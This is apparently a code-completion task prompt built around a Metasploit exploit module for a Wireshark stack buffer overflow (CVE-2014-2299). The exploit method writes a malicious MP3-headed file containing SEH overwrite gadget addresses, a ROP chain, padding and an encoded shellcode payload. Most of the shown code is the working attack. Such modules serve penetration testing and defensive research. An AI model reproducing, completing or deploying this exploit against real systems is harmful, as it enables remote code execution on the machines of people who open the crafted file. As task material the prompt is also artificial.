You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: wireshark_mpeg_overflow.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wireshark wiretap/mpeg.c Stack Buffer Overflow',
      'Description'    => %q{
          This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5
          by generating a malicious file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Wesley Neelen', # Discovery vulnerability
          'j0sm1',  # Exploit and msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-2299'],
          [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ],
          [ 'URL', 'http://www.wireshark.org/security/w
    
  def exploit

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    ropchain = create_rop_chain
    magic_header = "\xff\xfb\x41"                # mpeg magic_number(MP3) -> https://en.wikipedia.org/wiki/MP3#File_structure
    # Here we build the packet data
    packet = rand_text_alpha(883)
    packet << "\x6c\x7d\x37\x6c" # NOP RETN
    packet << "\x6c\x7d\x37\x6c" # NOP RETN
    packet << ropchain
    packet << payload.encoded                    # Shellcode
    packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)

    # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000
    # After nseh and seh we haven't space, then we have to jump to another location.

    # When file is open with command line. This is NSEH/SEH overwrite
    packet << make_nops(4) # nseh
    packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN

    packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk

    # When file is open with GUI interface. This is NSEH/SEH overwrite
    packet << make_nops(4) # nseh
    # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [libjpeg-8.dll] **
    packet << "\x55\x59\x80\x6b"

    print_status("Preparing payload")
    filecontent = magic_header
    filecontent << packet
    print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
    file_create(filecontent)

  end